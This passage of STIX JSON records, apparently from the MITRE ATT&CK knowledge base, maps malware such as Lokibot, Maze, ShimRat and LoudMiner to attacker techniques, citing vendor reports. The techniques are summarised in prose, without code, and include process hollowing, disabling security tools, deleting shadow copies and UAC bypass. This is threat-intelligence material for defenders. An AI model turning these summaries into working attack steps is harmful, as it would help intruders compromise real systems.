                    "source_name": "FireEye Ryuk and Trickbot January 2019",
                    "url": "https://www.fireeye.com/blog/threat-research/2019/01/a-nasty-trick-from-credential-theft-malware-to-business-disruption.html",
                    "description": "Goody, K., et al (2019, January 11). A Nasty Trick: From Credential Theft Malware to Business Disruption. Retrieved May 12, 2020."
                }
            ],
            "description": "[Ryuk](https://attack.mitre.org/software/S0446) has stopped services related to anti-virus.(Citation: FireEye Ryuk and Trickbot January 2019)",
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            "id": "relationship--156ab177-474c-495c-af01-3cb9147aa703",
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                    "url": "https://securelist.com/gaza-cybergang-group1-operation-sneakypastes/90068/",
                    "description": "GReAT. (2019, April 10). Gaza Cybergang Group1, operation SneakyPastes. Retrieved May 13, 2020."
                }
            ],
            "description": "[DustySky](https://attack.mitre.org/software/S0062) can detect connected USB devices.(Citation: Kaspersky MoleRATs April 2019)",
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                    "description": "GReAT. (2019, April 10). Gaza Cybergang Group1, operation SneakyPastes. Retrieved May 13, 2020."
                }
            ],
            "description": "[DustySky](https://attack.mitre.org/software/S0062) can delete files it creates from the infected system.(Citation: Kaspersky MoleRATs April 2019)",
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                    "description": "GReAT. (2019, April 10). Gaza Cybergang Group1, operation SneakyPastes. Retrieved May 13, 2020."
                }
            ],
            "description": "[DustySky](https://attack.mitre.org/software/S0062) lists all installed software for the infected machine.(Citation: Kaspersky MoleRATs April 2019)",
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                    "description": "GReAT. (2019, April 10). Gaza Cybergang Group1, operation SneakyPastes. Retrieved May 13, 2020."
                }
            ],
            "description": "[Molerats](https://attack.mitre.org/groups/G0021) decompresses ZIP files once on the victim machine.(Citation: Kaspersky MoleRATs April 2019)",
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                {
                    "source_name": "Infoblox Lokibot January 2019",
                    "url": "https://insights.infoblox.com/threat-intelligence-reports/threat-intelligence--22",
                    "description": "Hoang, M. (2019, January 31). Malicious Activity Report: Elements of  Lokibot Infostealer. Retrieved May 15, 2020."
                }
            ],
            "description": "[Lokibot](https://attack.mitre.org/software/S0447) has used process hollowing to inject into legitimate Windows process vbc.exe.(Citation: Infoblox Lokibot January 2019)",
            "relationship_type": "uses",
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                {
                    "source_name": "Infoblox Lokibot January 2019",
                    "url": "https://insights.infoblox.com/threat-intelligence-reports/threat-intelligence--22",
                    "description": "Hoang, M. (2019, January 31). Malicious Activity Report: Elements of  Lokibot Infostealer. Retrieved May 15, 2020."
                }
            ],
            "description": "[Lokibot](https://attack.mitre.org/software/S0447) has obfuscated strings with base64 encoding.(Citation: Infoblox Lokibot January 2019)",
            "relationship_type": "uses",
            "id": "relationship--0dd73de5-d615-4455-a552-ff382ec75e82",
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            "modified": "2020-05-18T22:00:40.676Z",
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                {
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                    "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/attack-using-windows-installer-msiexec-exe-leads-lokibot/",
                    "description": "Co, M. and Sison, G. (2018, February 8). Attack Using Windows Installer msiexec.exe leads to LokiBot. Retrieved April 18, 2019."
                }
            ],
            "description": "[Lokibot](https://attack.mitre.org/software/S0447) has been executed through malicious documents contained in spearphishing e-mails.(Citation: TrendMicro Msiexec Feb 2018)",
            "relationship_type": "uses",
            "id": "relationship--da33f077-8ce2-4a2d-a8ed-f9f21799c80e",
            "type": "relationship",
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            "source_ref": "malware--8f423bd7-6ca7-4303-9e85-008c7ad5fdaa",
            "target_ref": "attack-pattern--bf176076-b789-408e-8cba-7275e81c0ada",
            "external_references": [
                {
                    "source_name": "ESET Attor Oct 2019",
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Attor.pdf",
                    "description": "Hromcova, Z. (2019, October). AT COMMANDS, TOR-BASED COMMUNICATIONS: MEET ATTOR, A FANTASY CREATURE AND ALSO A SPY PLATFORM. Retrieved May 6, 2020."
                }
            ],
            "description": "[Attor](https://attack.mitre.org/software/S0438)'s Blowfish key is encrypted with a public RSA key.(Citation: ESET Attor Oct 2019)",
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            "source_ref": "malware--4b6ec280-7bbb-48ff-ae59-b189520ebe83",
            "target_ref": "attack-pattern--91541e7e-b969-40c6-bbd8-1b5352ec2938",
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                {
                    "source_name": "ESET Okrum July 2019",
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2019/07/ESET_Okrum_and_Ketrican.pdf",
                    "description": "Hromcova, Z. (2019, July). OKRUM AND KETRICAN: AN OVERVIEW OF RECENT KE3CHANG GROUP ACTIVITY. Retrieved May 6, 2020."
                }
            ],
            "description": "[Okrum](https://attack.mitre.org/software/S0439) loader only executes the payload after the left mouse button has been pressed at least three times, in order to avoid being executed within virtualized or emulated environments.(Citation: ESET Okrum July 2019) ",
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        {
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                    "url": "https://www.welivesecurity.com/wp-content/uploads/2019/07/ESET_Okrum_and_Ketrican.pdf",
                    "description": "Hromcova, Z. (2019, July). OKRUM AND KETRICAN: AN OVERVIEW OF RECENT KE3CHANG GROUP ACTIVITY. Retrieved May 6, 2020."
                }
            ],
            "description": "[Okrum](https://attack.mitre.org/software/S0439) establishes persistence by creating a .lnk shortcut to itself in the Startup folder.(Citation: ESET Okrum July 2019) ",
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                    "description": "Sherstobitoff, R., Malhotra, A., et. al.. (2018, December 18). Operation Sharpshooter Campaign Targets Global Defense, Critical Infrastructure. Retrieved May 14, 2020."
                }
            ],
            "description": "[Sharpshooter](https://attack.mitre.org/groups/G0104)'s first-stage downloader installed [Rising Sun](https://attack.mitre.org/software/S0448) to the startup folder <code>%Startup%\\mssync.exe</code>.(Citation: McAfee Sharpshooter December 2018)\t",
            "relationship_type": "uses",
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        {
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            "target_ref": "attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670",
            "external_references": [
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                    "url": "https://www.mcafee.com/enterprise/en-us/assets/reports/rp-operation-sharpshooter.pdf",
                    "description": "Sherstobitoff, R., Malhotra, A., et. al.. (2018, December 18). Operation Sharpshooter Campaign Targets Global Defense, Critical Infrastructure. Retrieved May 14, 2020."
                }
            ],
            "description": "[Sharpshooter](https://attack.mitre.org/groups/G0104)'s first-stage downloader resolved various Windows libraries and APIs, including LoadLibraryA(), GetProcAddress(), and CreateProcessA().(Citation: McAfee Sharpshooter December 2018)\t",
            "relationship_type": "uses",
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            "type": "relationship",
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        {
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            "target_ref": "attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67",
            "external_references": [
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                    "url": "https://www.mcafee.com/enterprise/en-us/assets/reports/rp-operation-sharpshooter.pdf",
                    "description": "Sherstobitoff, R., Malhotra, A., et. al.. (2018, December 18). Operation Sharpshooter Campaign Targets Global Defense, Critical Infrastructure. Retrieved May 14, 2020."
                }
            ],
            "description": "[Sharpshooter](https://attack.mitre.org/groups/G0104)'s first-stage downloader was a VBA macro.(Citation: McAfee Sharpshooter December 2018)",
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        {
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            "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add",
            "external_references": [
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                    "source_name": "McAfee Sharpshooter December 2018",
                    "url": "https://www.mcafee.com/enterprise/en-us/assets/reports/rp-operation-sharpshooter.pdf",
                    "description": "Sherstobitoff, R., Malhotra, A., et. al.. (2018, December 18). Operation Sharpshooter Campaign Targets Global Defense, Critical Infrastructure. Retrieved May 14, 2020."
                }
            ],
            "description": "[Sharpshooter](https://attack.mitre.org/groups/G0104) downloaded additional payloads after a target was infected with a first-stage downloader.(Citation: McAfee Sharpshooter December 2018)",
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            "description": "[ShimRat](https://attack.mitre.org/software/S0444) has used a secondary C2 location if the first was unavailable.(Citation: FOX-IT May 2016 Mofang)\t",
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            "description": "[ShimRat](https://attack.mitre.org/software/S0444) can sleep when instructed to do so by the C2.(Citation: FOX-IT May 2016 Mofang)\t",
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            "description": "[ShimRat](https://attack.mitre.org/software/S0444)'s loader has been packed with the compressed [ShimRat](https://attack.mitre.org/software/S0444) core DLL and the legitimate DLL for it to hijack.(Citation: FOX-IT May 2016 Mofang)",
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                    "description": "Yonathan Klijnsma. (2016, May 17). Mofang: A politically motivated information stealing adversary. Retrieved May 12, 2020."
                }
            ],
            "description": "[ShimRat](https://attack.mitre.org/software/S0444) has decompressed its core DLL using shellcode once an impersonated antivirus component was running on a system.(Citation: FOX-IT May 2016 Mofang)",
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                }
            ],
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                }
            ],
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                }
            ],
            "description": "[ShimRat](https://attack.mitre.org/software/S0444) has registered two registry keys for shim databases.(Citation: FOX-IT May 2016 Mofang)",
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                }
            ],
            "description": "[ShimRat](https://attack.mitre.org/software/S0444) can hijack the cryptbase.dll within migwiz.exe to escalate privileges and bypass UAC controls.(Citation: FOX-IT May 2016 Mofang)",
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                }
            ],
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                    "url": "https://www.f-secure.com/v-descs/trojan_w32_lokibot.shtml",
                    "description": "Kazem, M. (2019, November 25). Trojan:W32/Lokibot. Retrieved May 15, 2020."
                }
            ],
            "description": "[Lokibot](https://attack.mitre.org/software/S0447) has the ability to discover the username on the infected host.(Citation: FSecure Lokibot November 2019)",
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                    "url": "https://www.f-secure.com/v-descs/trojan_w32_lokibot.shtml",
                    "description": "Kazem, M. (2019, November 25). Trojan:W32/Lokibot. Retrieved May 15, 2020."
                }
            ],
            "description": "[Lokibot](https://attack.mitre.org/software/S0447) has the ability to discover the computer name and Windows product name/version.(Citation: FSecure Lokibot November 2019)",
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                    "url": "https://insights.infoblox.com/threat-intelligence-reports/threat-intelligence--22",
                    "description": "Hoang, M. (2019, January 31). Malicious Activity Report: Elements of  Lokibot Infostealer. Retrieved May 15, 2020."
                }
            ],
            "description": "[Lokibot](https://attack.mitre.org/software/S0447) has the ability to copy itself to a hidden file and directory.(Citation: Infoblox Lokibot January 2019)",
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                    "description": "Kazem, M. (2019, November 25). Trojan:W32/Lokibot. Retrieved May 15, 2020."
                }
            ],
            "description": "[Lokibot](https://attack.mitre.org/software/S0447) has the ability to initiate contact with command and control (C2) to exfiltrate stolen data.(Citation: FSecure Lokibot November 2019)",
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                }
            ],
            "description": "[Lokibot](https://attack.mitre.org/software/S0447) has the ability to capture input on the compromised host via keylogging.(Citation: FSecure Lokibot November 2019)",
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                }
            ],
            "description": "[Lokibot](https://attack.mitre.org/software/S0447) has demonstrated the ability to steal credentials from multiple applications and data sources including Safari and the Chromium and Mozilla Firefox-based web browsers.(Citation: Infoblox Lokibot January 2019)",
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                }
            ],
            "description": "[Lokibot](https://attack.mitre.org/software/S0447) has stolen credentials from multiple applications and data sources including Windows OS credentials, email clients, FTP, and SFTP clients.(Citation: Infoblox Lokibot January 2019)",
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                    "url": "https://insights.infoblox.com/threat-intelligence-reports/threat-intelligence--22",
                    "description": "Hoang, M. (2019, January 31). Malicious Activity Report: Elements of  Lokibot Infostealer. Retrieved May 15, 2020."
                }
            ],
            "description": "[Lokibot](https://attack.mitre.org/software/S0447) has used HTTP for C2 communications.(Citation: Infoblox Lokibot January 2019)",
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                    "description": "Sherstobitoff, R., Malhotra, A., et. al.. (2018, December 18). Operation Sharpshooter Campaign Targets Global Defense, Critical Infrastructure. Retrieved May 14, 2020."
                }
            ],
            "description": "[Rising Sun](https://attack.mitre.org/software/S0448) can modify file attributes to hide files.(Citation: McAfee Sharpshooter December 2018)",
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                    "description": "Sherstobitoff, R., Malhotra, A., et. al.. (2018, December 18). Operation Sharpshooter Campaign Targets Global Defense, Critical Infrastructure. Retrieved May 14, 2020."
                }
            ],
            "description": "[Sharpshooter](https://attack.mitre.org/groups/G0104) has sent malicious Word OLE documents to victims.(Citation: McAfee Sharpshooter December 2018)",
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            "target_ref": "attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055",
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                {
                    "source_name": "CrowdStrike Grim Spider May 2019",
                    "url": "https://www.crowdstrike.com/blog/timelining-grim-spiders-big-game-hunting-tactics/",
                    "description": "John, E. and Carvey, H. (2019, May 30). Unraveling the Spiderweb: Timelining ATT&CK Artifacts Used by GRIM SPIDER. Retrieved May 12, 2020."
                },
                {
                    "source_name": "DHS/CISA Ransomware Targeting Healthcare October 2020",
                    "url": "https://us-cert.cisa.gov/ncas/alerts/aa20-302a",
                    "description": "DHS/CISA. (2020, October 28). Ransomware Activity Targeting the Healthcare and Public Health Sector. Retrieved October 28, 2020."
                },
                {
                    "source_name": "FireEye KEGTAP SINGLEMALT October 2020",
                    "url": "https://www.fireeye.com/blog/threat-research/2020/10/kegtap-and-singlemalt-with-a-ransomware-chaser.html",
                    "description": "Kimberly Goody, Jeremy Kennelly, Joshua Shilko, Steve Elovitz, Douglas Bienstock. (2020, October 28). Unhappy Hour Special: KEGTAP and SINGLEMALT With a Ransomware Chaser. Retrieved October 28, 2020."
                },
                {
                    "source_name": "Red Canary Hospital Thwarted Ryuk October 2020",
                    "url": "https://redcanary.com/blog/how-one-hospital-thwarted-a-ryuk-ransomware-outbreak/ ",
                    "description": "Brian Donohue, Katie Nickels, Paul Michaud, Adina Bodkins, Taylor Chapman, Tony Lambert, Jeff Felling, Kyle Rainey, Mike Haag, Matt Graeber, Aaron Didier.. (2020, October 29). A Bazar start: How one hospital thwarted a Ryuk ransomware outbreak. Retrieved October 30, 2020."
                }
            ],
            "description": "[Wizard Spider](https://attack.mitre.org/groups/G0102) has used WMI and LDAP queries for network discovery and to move laterally.(Citation: CrowdStrike Grim Spider May 2019)(Citation: DHS/CISA Ransomware Targeting Healthcare October 2020)(Citation: FireEye KEGTAP SINGLEMALT October 2020)(Citation: Red Canary Hospital Thwarted Ryuk October 2020)",
            "relationship_type": "uses",
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            "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0",
            "external_references": [
                {
                    "source_name": "FSecure Lokibot November 2019",
                    "url": "https://www.f-secure.com/v-descs/trojan_w32_lokibot.shtml",
                    "description": "Kazem, M. (2019, November 25). Trojan:W32/Lokibot. Retrieved May 15, 2020."
                }
            ],
            "description": "[Lokibot](https://attack.mitre.org/software/S0447) has the ability to discover the domain name of the infected host.(Citation: FSecure Lokibot November 2019)",
            "relationship_type": "uses",
            "id": "relationship--d331f4b3-047a-4418-9611-f2b8445692b3",
            "type": "relationship",
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            "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161",
            "external_references": [
                {
                    "source_name": "ClearSky MuddyWater June 2019",
                    "url": "https://www.clearskysec.com/wp-content/uploads/2019/06/Clearsky-Iranian-APT-group-%E2%80%98MuddyWater%E2%80%99-Adds-Exploits-to-Their-Arsenal.pdf",
                    "description": "ClearSky. (2019, June). Iranian APT group \u2018MuddyWater\u2019 Adds Exploits to Their Arsenal. Retrieved May 14, 2020."
                },
                {
                    "source_name": "Trend Micro Muddy Water March 2021",
                    "url": "https://www.trendmicro.com/en_us/research/21/c/earth-vetala---muddywater-continues-to-target-organizations-in-t.html",
                    "description": "Peretz, A. and Theck, E. (2021, March 5). Earth Vetala \u2013 MuddyWater Continues to Target Organizations in the Middle East. Retrieved March 18, 2021."
                }
            ],
            "description": "[MuddyWater](https://attack.mitre.org/groups/G0069) has used HTTP for C2 communications.(Citation: ClearSky MuddyWater June 2019)(Citation: Trend Micro Muddy Water March 2021)",
            "relationship_type": "uses",
            "id": "relationship--7700e443-2a26-43ba-9557-4c6f11bfbde1",
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                    "source_name": "ClearSky MuddyWater June 2019",
                    "url": "https://www.clearskysec.com/wp-content/uploads/2019/06/Clearsky-Iranian-APT-group-%E2%80%98MuddyWater%E2%80%99-Adds-Exploits-to-Their-Arsenal.pdf",
                    "description": "ClearSky. (2019, June). Iranian APT group \u2018MuddyWater\u2019 Adds Exploits to Their Arsenal. Retrieved May 14, 2020."
                }
            ],
            "description": "[MuddyWater](https://attack.mitre.org/groups/G0069) has exploited the Office vulnerability CVE-2017-0199 for execution.(Citation: ClearSky MuddyWater June 2019)",
            "relationship_type": "uses",
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            "modified": "2020-05-20T20:26:59.680Z",
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            "target_ref": "attack-pattern--f4599aa0-4f85-4a32-80ea-fc39dc965945",
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                {
                    "source_name": "McAfee Maze March 2020",
                    "url": "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/ransomware-maze/",
                    "description": "Mundo, A. (2020, March 26). Ransomware Maze. Retrieved May 18, 2020."
                },
                {
                    "source_name": "Sophos Maze VM September 2020",
                    "url": "https://news.sophos.com/en-us/2020/09/17/maze-attackers-adopt-ragnar-locker-virtual-machine-technique/",
                    "description": "Brandt, A., Mackenzie, P.. (2020, September 17). Maze Attackers Adopt Ragnar Locker Virtual Machine Technique. Retrieved October 9, 2020."
                }
            ],
            "description": "[Maze](https://attack.mitre.org/software/S0449) has injected the malware DLL into a target process.(Citation: McAfee Maze March 2020)(Citation: Sophos Maze VM September 2020)\t",
            "relationship_type": "uses",
            "id": "relationship--44fab50d-4fb6-4a8a-ab7a-84dcb70443f5",
            "type": "relationship",
            "modified": "2020-10-09T16:24:40.022Z",
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        },
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                {
                    "source_name": "McAfee Maze March 2020",
                    "url": "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/ransomware-maze/",
                    "description": "Mundo, A. (2020, March 26). Ransomware Maze. Retrieved May 18, 2020."
                }
            ],
            "description": "[Maze](https://attack.mitre.org/software/S0449) has forged POST strings with a random choice from a list of possibilities including \"forum\", \"php\", \"view\", etc. while making connection with the C2, hindering detection efforts.(Citation: McAfee Maze March 2020)",
            "relationship_type": "uses",
            "id": "relationship--6a521aa4-d389-4ef4-bd24-442d8af23333",
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            "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161",
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                {
                    "source_name": "McAfee Maze March 2020",
                    "url": "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/ransomware-maze/",
                    "description": "Mundo, A. (2020, March 26). Ransomware Maze. Retrieved May 18, 2020."
                }
            ],
            "description": "[Maze](https://attack.mitre.org/software/S0449) has communicated to hard-coded IP addresses via HTTP.(Citation: McAfee Maze March 2020)",
            "relationship_type": "uses",
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            "target_ref": "attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475",
            "external_references": [
                {
                    "source_name": "McAfee Maze March 2020",
                    "url": "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/ransomware-maze/",
                    "description": "Mundo, A. (2020, March 26). Ransomware Maze. Retrieved May 18, 2020."
                }
            ],
            "description": "[Maze](https://attack.mitre.org/software/S0449) has used the \"WNetOpenEnumW\", \"WNetEnumResourceW\u201d, \u201cWNetCloseEnum\u201d and \u201cWNetAddConnection2W\u201d functions to enumerate the network resources on the infected machine.(Citation: McAfee Maze March 2020)",
            "relationship_type": "uses",
            "id": "relationship--2f3d9b76-bec9-4cee-9a9b-1c42f373ec86",
            "type": "relationship",
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            "target_ref": "attack-pattern--799ace7f-e227-4411-baa0-8868704f2a69",
            "external_references": [
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                    "source_name": "McAfee Maze March 2020",
                    "url": "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/ransomware-maze/",
                    "description": "Mundo, A. (2020, March 26). Ransomware Maze. Retrieved May 18, 2020."
                }
            ],
            "description": "[Maze](https://attack.mitre.org/software/S0449) has used the \u201cWow64RevertWow64FsRedirection\u201d function following attempts to delete the shadow volumes, in order to leave the system in the same state as it was prior to redirection.(Citation: McAfee Maze March 2020)\t",
            "relationship_type": "uses",
            "id": "relationship--cabbe975-9936-4a9a-8fae-a747b3dc7a9d",
            "type": "relationship",
            "modified": "2020-06-24T01:40:07.447Z",
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            "target_ref": "attack-pattern--ac08589e-ee59-4935-8667-d845e38fe579",
            "external_references": [
                {
                    "source_name": "McAfee Maze March 2020",
                    "url": "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/ransomware-maze/",
                    "description": "Mundo, A. (2020, March 26). Ransomware Maze. Retrieved May 18, 2020."
                },
                {
                    "source_name": "Sophos Maze VM September 2020",
                    "url": "https://news.sophos.com/en-us/2020/09/17/maze-attackers-adopt-ragnar-locker-virtual-machine-technique/",
                    "description": "Brandt, A., Mackenzie, P.. (2020, September 17). Maze Attackers Adopt Ragnar Locker Virtual Machine Technique. Retrieved October 9, 2020."
                }
            ],
            "description": "[Maze](https://attack.mitre.org/software/S0449) has disabled dynamic analysis and other security tools including IDA debugger, x32dbg, and OllyDbg.(Citation: McAfee Maze March 2020) It has also disabled Windows Defender's Real-Time Monitoring feature and attempted to disable endpoint protection services.(Citation: Sophos Maze VM September 2020)",
            "relationship_type": "uses",
            "id": "relationship--dc9d4208-5e09-437e-bdd1-0dbfc4b54355",
            "type": "relationship",
            "modified": "2020-10-09T16:24:40.124Z",
            "created": "2020-05-18T17:31:39.464Z"
        },
        {
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            "object_marking_refs": [
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            "source_ref": "malware--d9f7383c-95ec-4080-bbce-121c9384457b",
            "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62",
            "external_references": [
                {
                    "source_name": "FireEye Maze May 2020",
                    "url": "https://www.fireeye.com/blog/threat-research/2020/05/tactics-techniques-procedures-associated-with-maze-ransomware-incidents.html",
                    "description": "Kennelly, J., Goody, K., Shilko, J. (2020, May 7). Navigating the MAZE: Tactics, Techniques and Procedures Associated With MAZE Ransomware Incidents. Retrieved May 18, 2020."
                },
                {
                    "source_name": "Sophos Maze VM September 2020",
                    "url": "https://news.sophos.com/en-us/2020/09/17/maze-attackers-adopt-ragnar-locker-virtual-machine-technique/",
                    "description": "Brandt, A., Mackenzie, P.. (2020, September 17). Maze Attackers Adopt Ragnar Locker Virtual Machine Technique. Retrieved October 9, 2020."
                }
            ],
            "description": "The [Maze](https://attack.mitre.org/software/S0449) encryption process has used batch scripts with various commands.(Citation: FireEye Maze May 2020)(Citation: Sophos Maze VM September 2020)",
            "relationship_type": "uses",
            "id": "relationship--a747c7d5-afe9-4120-bb18-f21b5d9bb988",
            "type": "relationship",
            "modified": "2020-10-09T16:24:40.189Z",
            "created": "2020-05-18T17:31:39.469Z"
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            "target_ref": "attack-pattern--f5d8eed6-48a9-4cdf-a3d7-d1ffa99c3d2a",
            "external_references": [
                {
                    "source_name": "McAfee Maze March 2020",
                    "url": "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/ransomware-maze/",
                    "description": "Mundo, A. (2020, March 26). Ransomware Maze. Retrieved May 18, 2020."
                },
                {
                    "source_name": "Sophos Maze VM September 2020",
                    "url": "https://news.sophos.com/en-us/2020/09/17/maze-attackers-adopt-ragnar-locker-virtual-machine-technique/",
                    "description": "Brandt, A., Mackenzie, P.. (2020, September 17). Maze Attackers Adopt Ragnar Locker Virtual Machine Technique. Retrieved October 9, 2020."
                }
            ],
            "description": "[Maze](https://attack.mitre.org/software/S0449) has attempted to delete the shadow volumes of infected machines, once before and once after the encryption process.(Citation: McAfee Maze March 2020)(Citation: Sophos Maze VM September 2020)",
            "relationship_type": "uses",
            "id": "relationship--ea32ebd2-9827-43ec-a3d3-f0148fee8ed8",
            "type": "relationship",
            "modified": "2020-10-19T13:55:56.528Z",
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                    "url": "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/ransomware-maze/",
                    "description": "Mundo, A. (2020, March 26). Ransomware Maze. Retrieved May 18, 2020."
                }
            ],
            "description": "[Maze](https://attack.mitre.org/software/S0449) has used several Windows API functions throughout the encryption process including IsDebuggerPresent, TerminateProcess, Process32FirstW, among others.(Citation: McAfee Maze March 2020)\t",
            "relationship_type": "uses",
            "id": "relationship--6e4d32b9-923f-46a9-887e-4d4d0687fd1b",
            "type": "relationship",
            "modified": "2020-06-24T01:40:07.451Z",
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            "target_ref": "attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055",
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                {
                    "source_name": "McAfee Maze March 2020",
                    "url": "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/ransomware-maze/",
                    "description": "Mundo, A. (2020, March 26). Ransomware Maze. Retrieved May 18, 2020."
                },
                {
                    "source_name": "Sophos Maze VM September 2020",
                    "url": "https://news.sophos.com/en-us/2020/09/17/maze-attackers-adopt-ragnar-locker-virtual-machine-technique/",
                    "description": "Brandt, A., Mackenzie, P.. (2020, September 17). Maze Attackers Adopt Ragnar Locker Virtual Machine Technique. Retrieved October 9, 2020."
                }
            ],
            "description": "[Maze](https://attack.mitre.org/software/S0449) has used WMI to attempt to delete the shadow volumes on a machine, and to connect a virtual machine to the network domain of the victim organization's network.(Citation: McAfee Maze March 2020)(Citation: Sophos Maze VM September 2020) ",
            "relationship_type": "uses",
            "id": "relationship--b8ead9c4-0403-4b23-b33f-8ac1c57f8e82",
            "type": "relationship",
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            "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
            "external_references": [
                {
                    "source_name": "McAfee Maze March 2020",
                    "url": "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/ransomware-maze/",
                    "description": "Mundo, A. (2020, March 26). Ransomware Maze. Retrieved May 18, 2020."
                }
            ],
            "description": "[Maze](https://attack.mitre.org/software/S0449) has decrypted strings and other important information during the encryption process. [Maze](https://attack.mitre.org/software/S0449) also calls certain functions dynamically to hinder analysis.(Citation: McAfee Maze March 2020)\t",
            "relationship_type": "uses",
            "id": "relationship--e3864ffa-3348-4791-b979-7d8b2e2151cc",
            "type": "relationship",
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            "source_ref": "malware--d9f7383c-95ec-4080-bbce-121c9384457b",
            "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1",
            "external_references": [
                {
                    "source_name": "McAfee Maze March 2020",
                    "url": "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/ransomware-maze/",
                    "description": "Mundo, A. (2020, March 26). Ransomware Maze. Retrieved May 18, 2020."
                }
            ],
            "description": "[Maze](https://attack.mitre.org/software/S0449) has checked the language of the infected system using the \"GetUSerDefaultUILanguage\" function.(Citation: McAfee Maze March 2020)",
            "relationship_type": "uses",
            "id": "relationship--0d3f773c-ed0e-4db4-8457-204a7a33eb58",
            "type": "relationship",
            "modified": "2020-06-24T01:40:07.453Z",
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            "source_ref": "malware--d9f7383c-95ec-4080-bbce-121c9384457b",
            "target_ref": "attack-pattern--5bfccc3f-2326-4112-86cc-c1ece9d8a2b5",
            "external_references": [
                {
                    "source_name": "McAfee Maze March 2020",
                    "url": "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/ransomware-maze/",
                    "description": "Mundo, A. (2020, March 26). Ransomware Maze. Retrieved May 18, 2020."
                }
            ],
            "description": "[Maze](https://attack.mitre.org/software/S0449) has inserted large blocks of junk code, including some components to decrypt strings and other important information for later in the encryption process.(Citation: McAfee Maze March 2020)",
            "relationship_type": "uses",
            "id": "relationship--0bbdc984-1515-4a8e-a211-2817371fc75e",
            "type": "relationship",
            "modified": "2020-06-24T01:40:07.458Z",
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        },
        {
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            "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580",
            "external_references": [
                {
                    "source_name": "McAfee Maze March 2020",
                    "url": "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/ransomware-maze/",
                    "description": "Mundo, A. (2020, March 26). Ransomware Maze. Retrieved May 18, 2020."
                }
            ],
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                    "source_name": "TrendMicro POWERSTATS V3 June 2019",
                    "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/muddywater-resurfaces-uses-multi-stage-backdoor-powerstats-v3-and-new-post-exploitation-tools/",
                    "description": "Lunghi, D. and Horejsi, J.. (2019, June 10). MuddyWater Resurfaces, Uses Multi-Stage Backdoor POWERSTATS V3 and New Post-Exploitation Tools. Retrieved May 14, 2020."
                }
            ],
            "description": "[SHARPSTATS](https://attack.mitre.org/software/S0450) has the ability to upload and download files.(Citation: TrendMicro POWERSTATS V3 June 2019)",
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                    "description": "Malik, M. (2019, June 20). LoudMiner: Cross-platform mining in cracked VST software. Retrieved May 18, 2020."
                }
            ],
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                    "description": "Malik, M. (2019, June 20). LoudMiner: Cross-platform mining in cracked VST software. Retrieved May 18, 2020."
                }
            ],
            "description": "[LoudMiner](https://attack.mitre.org/software/S0451) used SCP to update the miner from the C2.(Citation: ESET LoudMiner June 2019)",
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                }
            ],
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                }
            ],
            "description": "[LoudMiner](https://attack.mitre.org/software/S0451) started the cryptomining virtual machine as a service on the infected machine.(Citation: ESET LoudMiner June 2019)",
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                    "url": "https://www.welivesecurity.com/2019/06/20/loudminer-mining-cracked-vst-software/",
                    "description": "Malik, M. (2019, June 20). LoudMiner: Cross-platform mining in cracked VST software. Retrieved May 18, 2020."
                }
            ],
            "description": "[LoudMiner](https://attack.mitre.org/software/S0451) has set the attributes of the VirtualBox directory and VBoxVmService parent directory to \"hidden\".(Citation: ESET LoudMiner June 2019)",
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                    "url": "https://www.welivesecurity.com/2019/06/20/loudminer-mining-cracked-vst-software/",
                    "description": "Malik, M. (2019, June 20). LoudMiner: Cross-platform mining in cracked VST software. Retrieved May 18, 2020."
                }
            ],
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                    "url": "https://www.welivesecurity.com/2019/06/20/loudminer-mining-cracked-vst-software/",
                    "description": "Malik, M. (2019, June 20). LoudMiner: Cross-platform mining in cracked VST software. Retrieved May 18, 2020."
                }
            ],
            "description": "[LoudMiner](https://attack.mitre.org/software/S0451) launched the QEMU services in the <code>/Library/LaunchDaemons/</code> folder using <code>launchctl</code>.(Citation: ESET LoudMiner June 2019)\t",
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                    "url": "https://www.welivesecurity.com/2019/06/20/loudminer-mining-cracked-vst-software/",
                    "description": "Malik, M. (2019, June 20). LoudMiner: Cross-platform mining in cracked VST software. Retrieved May 18, 2020."
                }
            ],
            "description": "[LoudMiner](https://attack.mitre.org/software/S0451) has obfuscated various scripts and encrypted DMG files.(Citation: ESET LoudMiner June 2019)\t",
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                    "url": "https://www.welivesecurity.com/2019/06/20/loudminer-mining-cracked-vst-software/",
                    "description": "Malik, M. (2019, June 20). LoudMiner: Cross-platform mining in cracked VST software. Retrieved May 18, 2020."
                }
            ],
            "description": "[LoudMiner](https://attack.mitre.org/software/S0451) harvested system resources to mine cryptocurrency, using XMRig to mine Monero.(Citation: ESET LoudMiner June 2019)\t",
            "relationship_type": "uses",
            "id": "relationship--774302ff-3ab9-4328-a434-6188efe0928a",
            "type": "relationship",
            "modified": "2020-06-29T23:06:26.175Z",
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            "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c",
